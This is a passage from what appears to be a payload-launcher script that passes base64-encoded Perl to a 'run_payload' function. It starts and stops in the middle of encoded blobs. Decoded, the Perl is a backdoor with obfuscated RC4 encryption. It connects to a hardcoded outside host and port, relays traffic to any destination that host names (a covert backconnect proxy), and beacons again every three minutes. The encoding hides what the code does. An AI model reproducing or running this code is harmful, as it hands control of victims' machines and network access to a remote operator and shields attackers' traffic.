1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_41.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTgzJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgk